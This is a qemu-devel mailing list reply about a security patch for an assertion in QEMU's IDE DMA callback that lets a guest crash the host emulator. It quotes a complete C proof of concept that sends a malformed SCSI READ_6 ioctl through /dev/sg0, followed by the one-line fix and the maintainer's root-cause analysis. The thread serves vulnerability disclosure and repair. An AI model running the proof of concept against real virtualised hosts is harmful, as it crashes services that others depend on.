qemu-devel
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Qemu-devel] [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to p


From: John Snow
Subject: Re: [Qemu-devel] [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest
Date: Thu, 25 Jul 2019 20:25:03 -0400
User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Thunderbird/60.8.0


On 7/5/19 10:07 AM, Alexander Popov wrote:
> This assertion was introduced in the commit a718978ed58a in July 2015.
> It implies that the size of successful DMA transfers handled in
> ide_dma_cb() should be multiple of 512 (the size of a sector).
> 
> But guest systems can initiate DMA transfers that don't fit this
> requirement. Let's improve the assertion to prevent qemu DoS from quests.
> 
> PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
> command and crash qemu:
> 
> #include <stdio.h>
> #include <sys/ioctl.h>
> #include <stdint.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <string.h>
> #include <stdlib.h>
> #include <scsi/scsi.h>
> #include <scsi/scsi_ioctl.h>
> 
> #define CMD_SIZE 2048
> 
> struct scsi_ioctl_cmd_6 {
>       unsigned int inlen;
>       unsigned int outlen;
>       unsigned char cmd[6];
>       unsigned char data[];
> };
> 
> int main(void)
> {
>       intptr_t fd = 0;
>       struct scsi_ioctl_cmd_6 *cmd = NULL;
> 
>       cmd = malloc(CMD_SIZE);
>       if (!cmd) {
>               perror("[-] malloc");
>               return 1;
>       }
> 
>       memset(cmd, 0, CMD_SIZE);
>       cmd->inlen = 1337;
>       cmd->cmd[0] = READ_6;
> 
>       fd = open("/dev/sg0", O_RDONLY);
>       if (fd == -1) {
>               perror("[-] opening sg");
>               return 1;
>       }
> 
>       printf("[+] sg0 is opened\n");
> 
>       printf("[.] qemu should break here:\n");
>       fflush(stdout);
>       ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
>       printf("[-] qemu didn't break\n");
> 
>       free(cmd);
> 
>       return 1;
> }
> 
> Signed-off-by: Alexander Popov <address@hidden>
> ---
>  hw/ide/core.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/hw/ide/core.c b/hw/ide/core.c
> index 6afadf8..304fe69 100644
> --- a/hw/ide/core.c
> +++ b/hw/ide/core.c
> @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
>  
>      sector_num = ide_get_sector(s);
>      if (n > 0) {
> -        assert(n * 512 == s->sg.size);
> +        assert(n == s->sg.size / 512);
>          dma_buf_commit(s, s->sg.size);
>          sector_num += n;
>          ide_set_sector(s, sector_num);
> 

Oh, this is fun.

So you're actually requesting 131072 bytes (256 sectors) but you're
giving it far too short of a PRDT.

But ... the prepare_buf callback got anything at all, so it was happy to
proceed, but the callback chokes over the idea that the SGlist wasn't
formatted correctly -- it can't deal with partial tails.

I think it might be the case that the sglist needs to be allowed to have
an unaligned tail, and then the second trip to the dma_cb when there
isn't any more regions in the PRDT to add to the SGList to transfer at
least a single sector -- but the IDE state machine still has sectors to
transfer -- we need to trigger the short PRD clause.

Papering over it by truncating the tail I think isn't sufficient; there
are other problems this exposes.

As an emergency patch, it might be better to just do this whenever we
see partial tails:

prepared = ...prepare_buf(s->bus->dma, s->io_buffer_size);
if (prepared % 512) {
    ide_dma_error(s);
    return;
}

I think that prepare_buf does not give unaligned results if you provided
*too many* bytes, so the unaligned return only happens when you starve it.

I can worry about a proper fix for 4.2+.

--js



reply via email to

[Prev in Thread] Current Thread [Next in Thread]